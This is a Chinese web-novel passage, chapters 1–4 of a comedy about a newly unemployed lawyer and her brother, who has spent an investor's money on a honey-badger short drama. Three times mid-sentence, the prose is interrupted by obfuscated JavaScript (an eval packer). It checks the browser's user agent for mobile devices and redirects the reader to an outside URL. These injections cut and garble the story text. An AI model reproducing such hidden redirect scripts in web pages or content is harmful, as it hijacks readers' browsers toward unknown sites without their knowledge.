《失业后,从零开始做博主》 1. 第1章 城郊新区,某套小公寓里。 “颜热!你怎么敢的!” 颜炎抡起最近的一个毛绒玩偶,劈头盖脸就往自己弟弟头上砸过去。 那是一只半人高的蜜獾玩偶。 龇牙咧嘴的模样此刻倒是和颜炎的表情如出一辙。 阳光从客厅的落地窗斜射进来。 在飞舞的绒毛间划出一道道亮晶晶的光轨。 “别打了,姐。别打了。颜炎!” 颜热被打蒙了,双手抱头缩在沙发角落,情急之下喊了颜炎的全名。 这无异于火上浇油,只招来一顿更加疾风暴雨的捶打。 玩偶软绵绵的,砸在身上并不疼,但侮辱性极强。 颜炎一边打一边喘着粗气。 卷曲的短发有几缕黏在了汗湿的额头上。 捶了好一会,颜炎才把那只被蹂躏得变形的蜜獾玩偶往旁边的沙发上一扔。 自己也重重陷进沙发里,大口大口地喘着气,胸口剧烈起伏。 刚才那阵“运动”让她有点眼冒金星。 颜热瞬间老实了,垂着手站在沙发边,连呼吸都尽量放得轻微。 眼神偷偷瞟着姐姐铁青的脸色,又迅速低下。 房间里一时间只剩下挂钟滴答滴答的声音。 空气中还漂浮着刚才被扬起的细小尘粒,在光线下无所遁形。 “协议拿来,我再看下。” 半晌,颜炎扒了扒自己那一头被她揉得更乱的硬卷毛,声音带着运动后的沙哑。 对弟弟下了命令,每个字都像从牙缝里挤出来的。 颜热如蒙大赦,几乎是弹射起步,冲到小圆桌旁。 从上面的一个皱巴巴的文件袋里抽出一份纸质的《项目投资合作协议》。 又小步快跑回来,恭恭敬敬地双手呈给颜炎。 姿态谦卑得像是给女王递呈奏章。 颜炎一把抓过协议,架起腿。 身体前倾,手肘撑在膝盖上,开始一页一页仔细翻看。 她的目光变得极其审慎,眉头紧锁。 几乎是连标点符号都不放过。 纸张翻动的哗哗声,成了房间里新的主旋律。 颜热站在一旁,紧张地吞咽着口水,手指一个劲地抠着裤缝。 当看到被投资方责任条款下那行加粗的小字——“如未能严格按协议约定履行,需返还投资款本息......”时。 颜炎不由得深深、深深地吸了一口气。 那金额像一把冰锥直插心房。 她感到手一阵发痒,猛地抬头。 视线再次投向那只瘫在懒人沙发上的蜜獾玩偶,眼神锐利得能杀人。 “姐,姐,别打了!” 颜热察言观色,反应极快。 他一个箭步冲过去,抢先一把将玩偶捞进怀里紧紧抱住,声音还带着哭腔。 “这是我熬了好几个晚上,才一针一线缝好的蜜獾,平头哥!独一无二,外面市场上没得卖的!” “你再打,再打它就真坏了,毛都要秃了!” 颜炎怒极反笑,抖着手里的协议,纸张哗啦作响,像是在替他鼓掌“喝倒彩”。 “颜热啊颜热,你现在眼看就要还20万元,还有心思护着你这破毛绒玩具?” “回头债主上门,法院把这玩具拍卖了看能不能抵债!” 她顿了顿,目光扫过桌上那本被翻阅了很多次的,明显有些卷边的册子。 “哦,对了,还有你那个什么...项目剧本,不知道能不能卖上废纸的价。” 颜热大惊失色,搂着那只丑萌的蜜獾玩偶,像是抱着最后的救命稻草,一下扑倒在颜炎脚下,声音凄惨。 “姐!亲姐!你不能见死不救啊!” 颜炎听着自家弟弟趴在地上鬼哭狼嚎,太阳穴一阵突突地跳。 恨不能立刻找团抹布把这丢人现眼的嘴给堵上。 窗外的阳光正好斜射进来。 把颜热脸上那点可怜巴巴的泪痕照得亮晶晶的。 更显得他怀里的蜜獾玩偶表情嘲讽。 颜炎捏了捏鼻梁,深深地、带着无尽疲惫地叹了口气。 那口气里裹着一套正在跌价的房子、无数个加班的深夜。 还有眼前这个偏偏是她亲弟的冤家。 怎么办呢? 这个问题在她脑子里嗡嗡地转。 颜热从小就是个动物控。 别的小男孩满院子疯跑的时候。 他就蹲在小区花坛边上看蚂蚁搬家,能看足足一下午。 后来大学更是依着兴趣,去读了个研究野生动物保护的专业。 大学期间就一直口口声声,说要做动物保护的系列短片。 当时的颜炎呢? 当时她刚在圈内一家不错的律所站稳脚跟。 从战战兢兢的助理升职为能独立接案子的律师,整个人像上了发条一样连轴转。 升职后又没日没夜地干,咖啡当水喝,通宵当家常便饭。 拼死拼活终于很漂亮地办了几个案子。 到了年底。 竟然真给她搏到了一笔三十万的奖金。 那笔沉甸甸的款项打进卡里时。 颜炎感觉自己脚下踩着的不是律所的地毯,而是云端。 啊,对了。 还因为她这个“别人家的孩子”榜样当得太成功。 远房表妹凌零零高考填志愿时。 一头热血地全报了法律专业,说是要“像炎炎姐一样赚大钱”。 唉,想想真是造孽。 扯远了。 总之。 颜炎因为赚了“第一桶金”,心里高兴 再加上,又确实了解自己的弟弟。 ——颜热或许不着调,但绝不是信口开河的人。 他对动物的热爱是刻在骨子里的。 如果真的认准了方向,大概率会一心钻研到底。 结果呢? 结果就是颜炎当时一时脑热,大手一挥,就从那奖金里抽了一部分给了颜热。 美其名曰是“支持梦想的天使投资”。 其实她自己心里清楚。 这就是让颜热这个沉迷研究动物的宅,平时能够吃得好点,不要对自己抠抠搜搜的。 剩下的钱,加上平时攒的一些。 颜炎赶紧跑去当时还算火热的城郊新区做了套小公寓的首付。 想着给自己一个窝,也给压力山大的工作一点退路。 几年时间呼啸而过。 现在那套小公寓的房价已经跌破了买入价。 每个月的房贷却一分不少地准时从她卡里划走,收入却因为经济形势不好一直在减少。 现在手里压根就只有一些刚够应付日常开销的存款。 这就算了。 颜炎通常这么安慰自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513240|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟房子是实打实的资产,还能住人,遮风挡雨。 她也还在努力工作,收入总归是能覆盖的。 可谁能想到? 最大的雷埋在这里。 颜热本来只是小打小闹,做些简笔小动画。 收到亲姐这笔所谓“投资”后,他大概是自觉能力得到认可。 于是信心和雄心膨胀,一直嚷嚷着要拍个长点的剧集。 颜炎只当是这个弟弟是一时脑热,再加上自己忙着工作也没空搭理他。 没想到啊,颜热居然真的会去搞了个短剧项目。 然后,这项目竟然还被一个投资人给看上了。 颜炎想到这里,扶着额头。 长长地叹了一口气。 ...... 某个投资公司的办公室里。 空调冷气开得十足,吹得人浑身冰凉。 颜炎穿着一身熨帖的职业套装。 坐得脊背笔直,仿佛一把尺子。 她那一头天生不羁的硬卷毛被狠狠拉直过。 此刻正被大量发胶牢牢固定在头顶,一丝不乱。 头皮都扯得发疼——全是为了今天这场硬仗。 颜炎飞快地瞟了一眼,正坐在办公桌对面的那位投资经理——罗艾。 真是一位精英人士。 ——剪裁利落的西装,内搭是某种质感极佳的衬衫。 罗艾的妆容精致,眼神锐利而平静。 周身都透着一股“我的时间很贵”。 颜炎的视线又默默扫到旁边。 颜热缩在宽大的客户椅里,脑袋上几根没压服帖的呆毛倔强地翘着。 厚重的黑框眼镜滑到了鼻梁中段,正一脸紧张又带着点崇拜地望着罗艾。 他那身从衣橱底部翻出来的西装外套,肩膀处还皱皱巴巴的。 要是凑近点,说不定还能闻到樟脑丸的气味。 颜炎在心里无声地叹了口气。 落地玻璃窗外是繁华的街景,更衬得这间办公室安静得吓死人。 “罗经理。” 她清了清嗓子,尽量让自己的语气听起来专业、冷静,又不失底气。 “关于颜热是不是‘没有严格按协议约定履行’,您看,我们是不是还能再讨论一下?” 罗艾没有立刻回答。 她只是双手交叉,不动声色地撑住自己线条清晰的下巴。 目光平静地落在颜炎脸上,仿佛在评估一件商品。 那沉默像有实质的重量,压得颜炎有点喘不过气。 她虽然在律所里高压工作了几年。 经手过不少金额更大的案子,跟很多难缠的对手都交锋过。 但那些都是客户的纠纷,颜炎只是个冷静抽离的执行者。 现在,这刀是真真切切砍在自己和亲弟弟身上了。 那种焦灼和压力完全不是一回事。 她能感觉到自己的掌心在微微出汗,嗓子也有些发紧。 就在颜炎几乎要撑不住这片令人窒息的沉默,准备再次开口的前一秒—— 罗艾终于动了。 她微微向前倾身,打破了那沉重的气氛。 嘴角牵起一个极淡的、意味不明的弧度。 “颜律师。” 罗艾的声音不高,却清晰地落在安静的办公室里。 “你知道,你弟弟当初是怎么跟我介绍这个项目的吗?” 2. 第2章 小公寓里。 窗外黑漆漆的,房内亮着顶灯惨白的灯光。 颜炎死死盯着角落里抱着头、几乎快要缩成一团的颜热。 胸口那股从投资公司出来就憋着的邪火,越烧越旺。 之前在那间冷气十足、精英范儿的办公室里。 她穿着这身勒死人的职业套装,坐得笔直,连头发丝都用发胶固定得不敢乱动。 全程保持着一名专业律师该有的专业和体面。 ——天知道颜炎多想当场就把颜热揪过来揍一顿。 但她忍住了。 当着外人暴打亲弟,实在太不雅观,更有损她摇摇欲坠的职业形象。 这口气,就这么硬生生憋回了城郊新区。 “颜热,你可以的啊,事不说全。” 颜炎扯开一个没什么温度的笑,冷笑声像是从牙缝里挤出来的,带着咝咝的凉气。 “还光给我看协议,不给我看作为协议附件的项目计划书。” “你当初给人家的项目计划书怎么写的?要拍一部关于大熊猫拟人化做主角的短剧!” 她“嚯”地站起来,几步就走到了桌边。 “现在呢?” 颜炎猛地抬手,拍着桌上那本册子,发出沉闷的“啪啪”声。 “蜜獾?啊!蜜獾!” “你以为蜜獾和大熊猫一样,是黑白色的,投资人就能放过你?” 她转过身,蹲下来,强迫自己与颜热那双写满心虚的眼睛平视。 声音压得低低的,却更具威胁性。 “你是真把金主爸爸的投资款,当成自己亲爸爸给的钱在花,是吧?” 颜炎一字一顿,语气里的嘲讽浓得化不开。 “以为人家掏出真金白银,是为了支持你的个人动物偏好?” “姐,你听我说,我是觉得投资经费足够,可以先拍比较特别的动物...” 颜热嗫嚅着给自己找补,手指无意识地抠着怀里的蜜獾玩偶,不敢抬头看颜炎。 “蜜獾多酷啊,不服就干,娱乐性多强,肯定有市场…” “行了。” 颜炎打断他,声音里透着一种极度疲惫后的平静。 她挥挥手,动作幅度不大,充满了彻底放弃的意味。 “打住。你的商业蓝图我听够了。你现在就收拾收拾,带着你的剧本,回你自己地头去。” 颜炎深吸一口气,下了最终判决。 “我之前给你的那些钱,就当是我给自己买了个深刻的教训。” “以后你爱干嘛干嘛,都别再来找我。” 房间里只剩下顶灯电流微弱的滋滋声。 “回,回不去了。” 颜热的头几乎要埋进胸口,声音闷得像从地底传来。 “什么?” 颜炎的眉头瞬间拧紧。 一种极其不祥的预感攫住了她。 “你不是租了个小房子吗?该不会…” 颜热的头垂得更低了,几乎要缩进肩膀里。 “投资款我已经全部预付给制作团队了。” “当时,我因为拿到投资兴奋,也没把合同给你看一下就自己签了,所以也...也没砍价。” “钱还不够,所以我…我就只能提前退租,把租金也一起…还,还赔了点违约金。” 颜炎站在原地,一时间竟说不出任何话。 “......” 她第N次在内心深刻反省。 自己当初到底是哪根神经搭错了线,怎么会鬼迷心窍地跟颜热说那笔钱是“天使投资”? 要是没有当初。 颜热这异想天开的举动,早就因为现实的窘迫而被掐死在萌芽阶段了。 “算了。你,就现在小客厅的沙发上将就一晚上吧。有什么事,明天再说。” 颜炎说完,不再看颜热那张写满惶恐的脸。 她硬是拖着自己疲惫不堪、仿佛灌了铅的身躯。 一步步挪回卧室,连洗漱的力气都榨不出来了。 然后,一头栽倒在了床上,勉强扯过被子。 直接就被沉重的睡意吞没了。 第二天。 窗外。 马路的喧嚣,透过不算太隔音的玻璃隐隐传来。 颜炎醒过来时,只觉得眼皮沉得像挂了秤砣。 太阳穴一跳一跳地疼,脑子里像是被塞住了。 她揉着额角,趿拉着拖鞋推开卧室门。 一股米香味混着榨菜特有的咸鲜气飘了过来。 她看见颜热已经盛好了两碗热气腾腾的泡饭。 把榨菜丝仔细地堆在小碟子里,甚至还好心地淋了几滴香油。 两副碗筷摆得端端正正。 他自己则像个犯了错的小学生,垂着手站在桌边。 眼神躲闪,不敢看她。 颜炎沉默了几秒,还是拉开椅子,坐到了餐桌边上。 “行了,别摆出那副天塌了的倒霉样子,垂头丧气难道事情就能解决了?” 她狠狠夹了一筷子榨菜,嚼得嘎吱作响,像是在嚼碎那些破事。 “听着,从今天起,你给我赶紧收拾收拾,出去找份正经工作。” “什么都行,别再惦记你那个短剧了。” 颜炎顿了顿,像是在给自己打气。 声音提高了一点,不知道是说给颜热听还是说给自己听。 “至于我,反正还有律所的工作,案子嘛,多接一点,班嘛,多加一点。” “我们俩…一起赚钱,总能慢慢把这窟窿填上的。” …… 然而。 命运的耳光总是抽得又快又狠,专挑刚鼓起一点点勇气的时候。 “什么?要和我解除劳动合同?” 仅仅几个小时后。 律所那间压抑的人事办公室里。 颜炎瞪大了眼睛,几乎怀疑自己昨晚没睡好出现了幻听。 她万万没想到,自己好不容易打起精神。 一路上都在盘算着怎么跟合伙人表决心、接下来要玩命般加班干活。 却在一到律所,连电脑都没来得及打开时。 就被人事经理一脸凝重地叫进了办公室。 然后就被径直告知了这个冰冷的噩耗。 “为什么?我哪一项工作没完成?我哪一次考核不及格?我一直都勤奋工作。” “去年年底我还被评为律所年度最具潜力律师奖…” 颜炎的情绪激动起来,身体前倾,手掌“啪”地一声拍在光洁的办公桌上。 震得那盆小小的绿植都颤了颤。 对面的人事经理被她突如其来的气势,吓得一哆嗦。 连人带椅子下意识地往后退了退。 直到椅背哐当一声撞到墙壁,退无可退。 “颜律师,你冷静点…这、这不是我个人的决定,这是全体合伙人的一致决定。” 他艰难地咽了口唾沫。 “一致决定?好一个一致决定!” 颜炎气极反笑,眯起了眼睛,身体绷紧。 一副随时准备撸起袖子跟整个合伙人委员会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513241|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大干一场的架势。 “要是我说不呢?根据劳动合同法…” “颜律师!” 人事经理急忙打断她,脖子同时往后缩了缩,像是怕她下一秒就会扑过来。 “请你冷静!律所里…专长打劳动纠纷诉讼的团队。” “你是知道的,他们会…他们会很乐意跟你耗到底的。而且...” 他顿了顿,声音压低,带着一种残忍的“为你着想”的意味. “你再出去找工作的时候,新东家对你做背景调查…” “如果知道你和老东家闹到对簿公堂,你…你会很难看的。” 最后那句话,像一把精准无比的利剑。 瞬间刺穿了颜炎的愤怒。 她整个人僵住了。 放在桌面上、刚刚还拍得作响的手。 手指微微蜷缩了一下,最终无力地松开了。 人事说的是事实。 “和前雇主存在劳动纠纷”。 这足以让她在找新的律所、甚至公司法务时,被拒之门外。 “那解约赔偿金…” 颜炎艰难地开口,感觉每一个字都像砂纸在摩擦喉咙。 这是她眼下唯一的浮木,尽管它远远填不上颜热捅出的那个巨额窟窿。 对面的人事经理悄悄松了口气,拿起纸巾擦了擦汗湿的额角。 “颜律师,是这样的…你也知道现在这行情嘛,大环境不好,很多项目都停了。” 他顿了顿,避开颜炎的目光。 “但是律所认可之前几年您的贡献,所以赔偿金还是会足额支付的。” …… 颜炎不知道自己是怎么从那间办公室、又是怎么从那栋大楼里走出来的。 她捧着着装着自己寥寥私人物品的纸箱,站在车水马龙的街边。 午后的阳光有些刺眼,照着来来往往的行人。 西装革履的白领步履匆匆打着电话。 外卖小哥骑着电驴灵活地穿梭。 每个人似乎都有明确的方向和奔头。 只有她一个人,像被遗弃了,不知道该往哪里去。 大脑一片空白,只剩下“失业”两个字在嗡嗡作响。 颜炎浑浑噩噩地迈动脚步,沿着人行道漫无目的地往前走 手里的纸箱愈发沉重。 正在这时。 包里的手机响了。 铃声执着地穿透了周围的嘈杂,也刺穿了她麻木的神经。 颜炎机械地掏出手机。 屏幕上跳动着的名字让她呼吸一窒 ——罗艾。 颜炎闭上眼睛,恨不得把这个名字从脑海里抠出去。 但是再睁开时,那个名字依旧在屏幕上顽固地闪烁着。 铃声一遍遍响着。 似乎电话那头的人笃定了她无处可逃。 终于。 颜炎一咬牙,像是要赴死般按下了接听键。 甚至没意识到自己的手指在微微发抖。 “喂,罗经理吗?” 她抢先开口,声音干涩得发紧,努力想维持住最后一丝体面。 “还款的事情,我们一直在想办法,请您再宽限…” 电话那头。 罗艾清冷理智的声音打断了她,没有丝毫寒暄。 “颜律师。” 清冷的声音透过听筒传来。 “我和投资人重新讨论了一下。如果你弟弟能在一个月里,拍出短剧的成片来。” “还款的条件,就可以再商量。” 3. 第3章 电话那头。 罗艾冷不带一丝情绪的声音持续传来。 所谓的“还款的条件”可以再商量——这听着像赦免,实则却是另一道紧箍咒。 具体方案就是在一个月内,必须按照颜热现在那个剧本,捣鼓出一个至少能看的短剧成片。 做到了,那让人窒息的还款截止期,才能从三个月延长到一年。 但二十万的本金一分不减,该算的利息也照算,一分都不会少。 那点刚升起的、不切实际的希望。 像肥皂泡一样噗地一下,被现实无情地戳破。 对此。 颜炎真想对着这车水马龙的嘈杂空气狠狠骂一句: 资本家!真是一点亏都不肯吃! 但是,她也只是咬紧后槽牙,艰难地动了动喉咙。 除了认栽,还能怎样? 挂断电话后,世界的声音仿佛才重新涌入。 颜炎这才后知后觉地感觉到,自己右手手臂因长时间抱着那个沉甸甸的纸箱,早已酸麻不堪,仿佛有无数细小的针在持续地扎。 怀里的纸箱失去平衡眼看就要滑脱。 她猛地反应过来,赶忙狼狈地抬腿用膝盖往上顶了一下,才勉强稳住。 算了。 颜炎叹了口气,认命地想,还是先回公寓吧。 至少得跟罪魁祸首——颜热商量一下。 ...... 回到公寓。 推开门便看见颜热正抱着膝盖蜷在客厅沙发上,像个做错事的孩子。 一看到颜炎进来,他立刻弹起身。 手足无措地站直,脸上清清楚楚写满了忐忑和不安。 “罗艾说可以宽限,但要我们一个月内拍出短剧成片,这样还款期限可以延长到一年。” 颜炎把纸箱放在茶几上,揉了揉发酸的手臂。 “但是相应的,利息也算到那个时候。” “做出短剧成片,就只是延长还钱时间吗?” 颜热撇了撇嘴,脸上的表情流露出些许不屑,显然认定这是个亏本买卖。 “什么表情?我看你是又皮痒了?” 颜炎的声音陡然拔高,作势就要撸起袖子,眼睛危险地眯成一条细缝,目光像小刀子似的刮过颜热的脸。 这个不知天高地厚、完全搞不清状况的家伙! 颜热被她陡然凌厉的气势吓得浑身一激灵。 立刻缩了下脖子,整个人都矮了半截。 他脸上那点不屑瞬间蒸发,赶紧换上一种训练有素的、百分百乖巧讨好的表情。 双手还不自觉地抬起来护住了后脑勺,像是随时防备着突然袭击。 “人家那是掏出真金白银投给你的,要是换成是你姐我来谈,那指不定条件更苛刻。” 颜炎叹了口气,声音里带着疲惫。 她从昨天折腾到现在,几乎没合过眼,身心早已透支到了极限。 先是硬着头皮带着颜热去罗艾那儿低声下气地求饶,紧接着就遭遇了突如其来的失业打击。 现在又压下来这个看似是一线生机、实则沉重得多的担子 ——一个月内拍出短片。 这一连串鸡飞狗跳、措手不及的遭遇。 把颜炎搅得精疲力尽,脑子里像塞了一团乱麻。 以至于忙乱、愤怒、焦虑了整整一圈。 她居然都还没亲眼看过这个剧本,到底长什么样。 “行了。” 颜炎挥了挥手,声音里充满了无力感,目光最终落在颜热身后那本被翻得卷边起毛的册子上。 “先把你那个……剧本,拿给我看一下。” 颜热一下子没了声音。 他猛地转身抄起那本边角已经起卷的册子,飞快地塞进颜炎手里。 然后嗖地一下窜到了客厅最远的角落。 “姐。” 颜热隔着整个客厅的安全距离,声音带着点颤,双手不自觉地做出格挡的姿势。 “先说好,看了以后,可以骂我,尽量不要打我。” 颜炎皱着眉头,看着弟弟这副如临大敌的模样,心里那点不祥的预感一点点扩大。 直觉告诉她,这剧本恐怕不仅仅是“不靠谱”三个字能概括的。 颜炎深吸一口气,然后翻开了剧本,开始一目十行地快速浏览起来。 阳光从阳台挪进来几分,正好照亮了她手中那沓打印纸。 纸张摩擦发出沙沙的轻响,空气中漂浮着细小的尘埃。 不看不知道,真是看了吓一跳。 简单说。 这是部故事,讲的是—— 一位从外星球来的蜜獾王子,因为宇宙飞船故障意外穿梭来到地球。 却暂时失去了强大的异能,只能憋屈地以人类的形态生活。 期间,这位倒霉的蜜獾王子因为行为怪异、头铁嘴欠,被人类各种鄙视、欺负、排挤。 但他秉承着蜜獾族“生死看淡,不服就干”的祖传格言,坚强不屈、屡败屡战。 最终在关键时刻异能觉醒,不仅找回了场子,还顺带拯救了整个地球。 颜炎:“......” 她“啪”地一声把剧本合上,动作快得带起一阵小风。 闭上眼,像是无法接受刚才摄入的信息。 再次睁开眼,又飞快地重新翻开剧本,目光死死盯住其中几页又看了一遍。 ——特别是描写蜜獾王子因为不肯向小区的恶霸低头,而被追了三条街的段落。 作为一名律师,颜炎早已习惯了在开庭前。 对双方的证据和可能的应对反复进行脑内推演,预判各种可能性。 就像在意识深处构建一个虚拟法庭,一遍遍模拟着交锋的每一个细节。 这是她数年来养成的思维训练,已经近乎成了本能。 此刻,面对手中这份难以言喻的《我的王子是蜜獾》剧本。 颜炎的职业本能竟被莫名触发。 于是,那间熟悉的、用于演示证据和逻辑的虚拟法庭。 瞬间被这荒诞的剧情粗暴地入侵、篡改、覆盖,变成了一个灯光乱闪、音效浮夸的小剧场: ...... 【画面切入】 (特写)一只皮毛凌乱、沾着几点泥土,但眼神倔强得近乎偏执(甚至可以说有点不知死活)的蜜獾! 正对着一只体型比它大了足足几倍、肌肉线条流畅、处处透着危险的花豹龇牙咧嘴。 至于为什么颜炎能如此清晰地具象出蜜獾和花豹的细节。 ——蜜獾那标志性的平头白顶、花豹眼角的泪痕纹 这还得“归功”于颜热这个动物迷弟弟,不仅有空就强行拉着她一起看《动物世界》,还特别喜欢边看边激情解说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513242|186180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她想不知道都难。 (蜜獾的内心OS,居然还是她颜炎自己的声线)。 “认输服软?我们蜜獾一族的词典里就从没收录过这个词!” 花豹姿势慵懒,居高临下(而这把嗓子,竟套用了投资经理罗艾的)。 “无聊的挑衅。那就让你切身体会一下,什么叫绝对的实力。” 【画面高速切换】 (画面不断晃动)蜜獾·炎毫不犹豫,扭头撒丫子就跑! (内心气喘吁吁地OS):“策略性转移!这叫利用城市复杂地形进行机动!教科书般的敌进我退!” (镜头剧烈晃动)眼前的景物疯狂倒退,连续闪过三个小区大门的门头。 (背景音效)是花豹极速追击带来的风声呼啸,夹杂着极具压迫感的低沉呼噜声。 清晰得仿佛能感觉到那气息越来越近,几乎喷到后颈的皮毛上。 【画面突然慢放】 (特写)蜜獾·炎在一个堆着垃圾桶的巷口一个急转弯,后爪猛地打滑,尘土飞扬。 整个身体失去平衡,差点一头撞上一个散发着不可名状气味的垃圾桶。 (内心OS充满了绝望的的力不从心):“不行了…肺要炸了…难道我蜜獾一族世代的骄傲,今天就要折在这条莫名其妙的巷子里了吗?” (就在这千钧一发之际!) 一道微弱的、闪烁得极其敷衍、几乎难以察觉的金光,在蜜獾·炎的平头顶上极其敷衍地闪了一下,仿佛接触不良的灯泡。 【画面定格】 蜜獾·炎猛地一个急刹车停下,霍然转身。 那双小眼睛里先是充满了难以置信的震惊,随即迸发出一种近乎狂喜的光芒? (内心OS,语气突变,带着一种顿悟):“等等!刚才那光…难道说…被逼到极限还有助于激发潜能?! 【剧场强制中断】 ...... 颜炎猛地甩了甩头,用力过猛导致卷发都弹跳起来。 试图将这场彻底脱离掌控、朝着诡异方向一路狂奔的“脑内庭审”强行清场下线。 这都什么跟什么啊! 她用来分析案情的大脑,刚刚居然模拟了一只蜜獾被花豹追着跑的剧情上?! 另一头的颜热,全程紧张地咽了口口水,喉结剧烈地上下滚动。 他后背紧紧抵着冰凉的墙壁,恨不得自己能彻底融进墙壁里去,消除所有存在感。 “颜热。” 颜炎终于抬起头,目光从那份被捏得变形的剧本上移开。 声音轻柔得不可思议,甚至带上了一点诡异的的甜腻感,听得人汗毛倒竖。 “我记得,你当初跟我说,你大学读野生动物,是立志要做这方面的研究,为学术做贡献对吧?” “对…对啊…” 颜热的眼神开始疯狂闪烁,根本不敢聚焦。 他的脚步极其缓慢地、一寸寸地往旁边挪动,膝盖微屈,身体重心悄悄转移。 看上去似乎是在计算一条能完美绕过颜炎、直通公寓大门的极限逃生路线。 但是,还是慢了一拍。 就在颜热脚尖刚刚转向门口,肌肉绷紧准备发力冲刺的瞬间—— 颜炎已经“唰”地一下站了起来。 脸上甚至还维持着一抹让人毛骨悚然的、皮笑肉不笑的“温柔”微笑。 4. 第4章 一阵鬼哭狼嚎般的惨叫过后,客厅里终于暂时恢复了平静。 空气中只剩下几声极力克制的抽泣声。 颜热蜷缩在沙发的角落。 一只手紧紧捂着脑袋上那个新鲜出炉、虽然不大但显然疼痛异常的红肿包块。 在颜炎那冰冷如刀、明确传达着 ——“你再不说实话下一击就是绝杀”意味的目光持续逼视下。 颜热终于败下阵来。 声音带着哽咽,断断续续地开始叙述事情的前因后果。 原来在他读大学期间,凭着对野生动物的一腔孤勇热血,和那份还算拿得出手的专业课成绩。 受到了导师的青睐,时不时被带着去参加各种行业内部论坛和研讨会。 当然。 所谓的参加,其主要任务也不过是做些端茶递水、调试PPT播放设备,以及替在场的大佬们记录会议笔记这类基础工作。 一次论坛茶歇期间。 颜热端着一盘小点心,跟旁边一个看起来挺和善的中年男人聊起了大熊猫的保护现状和趣事, 他聊得投入,从食竹特性讲到行为模式,头头是道. 越说越激动,最后还忍不住吹嘘了一下自己的“伟大梦想”——说要写一个以大熊猫拟人化为主角的、寓教于乐的短剧剧本。 “结果,人家就这么听进去了?然后你拿了钱,反而大熊猫变蜜獾,鸽了人家?” 颜炎双手环胸,手指在胳膊上不耐烦地敲打着,发出一声冰冷的嗤笑。 “那这个又是外星王子又是异能觉醒的玩意儿是怎么回事?我不觉得凭你自己那点功底,能写出这种完整的剧本来。” 她的目光锐利地扫过那份皱巴巴的剧本。 “哎,姐,冤枉啊!我自己真写过一版的!” 颜热像是被踩了尾巴,也顾不上脑袋上的包了。 他赶紧手忙脚乱地摸出自己那旧手机——屏幕碎了好几道的。 手指哆嗦着在文件夹里扒拉了半天,终于调出一个叫“剧本草案”的文件,献宝似的举到颜炎面前。 颜炎将信将疑地接过手机,眯起眼睛,手指快速滑动屏幕。 前面的内容还能勉强看出点故事框架,越到后面越是惨不忍睹。 充斥着大段大段关于蜜獾习性、社会结构、战斗方式的学术性描述和引用文献标注。 对话干瘪得像科普读物,情节推进基本靠论文逻辑。 她直接滑到文件底部,面无表情地抬起头。 “我觉得。”颜炎下了定论,声音里带着一种评审的冷酷。 “你这版不应该叫剧本,应该叫《蜜獾行为观察报告》。” “对。其他人也这么说。” 颜热像是找到了知音,连连点头,表情甚至有点小骄傲,仿佛“观察报告”是什么了不得的褒奖。 “所以,你就——” 颜炎拖长了语调,眼神里的寒意更重了。 颜热的脑袋瞬间又耷拉下去,声音细若蚊蚋。 “…花钱去找了个专业的短剧编剧,…在我的报告基础上,‘加工’了一下…” 颜炎深吸一口气,感觉刚刚平复下去的太阳穴又开始突突跳了起来。 “这是加工吗?人家就是给你重写了一版好吗?!” “等等...” 她目光瞥向沙发另一端的颜热。 “你之前,好像问过我请人写剧本什么的,难道是为了这个?” 颜热像是被这句话烫了一下,肩膀几不可查地一缩。 讪讪地笑了,那笑容僵硬又勉强,嘴角扯动的弧度比哭还难看。 他抬手抓抓后脑勺,喉咙里含糊地拖出一个长长的“嗯”声。 怎么看,都像是心虚。 ...... 记忆被拉回几个月前的某个深夜。 窗外的城市早已沉寂。 只剩零星灯火,散落在漆黑的夜里。 颜炎的书房里却透出一抹异常的明亮。 或者说,是被电脑屏幕惨白的光线所统治。 空气里,弥漫着咖啡冷却后特有的酸涩气息,混杂着打印纸的油墨味。 她正对着一桌散乱如战场的案件材料埋头苦干。 眼底布满了蛛网般的血丝,每一根都在叫嚣着疲惫。 桌角是半杯冷透的咖啡,和一个被咬了一口就抛弃的三明治。 就在这片被文书淹没的、几乎凝滞的死寂里。 放在一叠文件上的手机忽然毫无征兆地嗡嗡的震动。 声音打破了凝重的空气,引起令人烦躁的共鸣。 颜热的微信消息跳了出来。 “姐,在忙吗?想问一下,就是如果请人写个类似小说、或者剧本之类的,有什么需要注意的地方不?” 语气含糊其辞,拐弯抹角,带着他特有的试探。 颜炎当时已连续熬了几个大夜,脾气一点就炸,脑子锈住般转不动。 她勉强压住火气,手指重重敲击屏幕。 “是付钱请人写的剧本?那是付钱的来问,还是写作的来问?” 律师的本能让她先抓核心,语气公事公办,透着一股“别废话,说重点”的不耐 几乎是下一秒,颜热的回复就弹了出来,快得像是一直捧着手机蹲守,就等着这句问话。 “付钱的来问!” 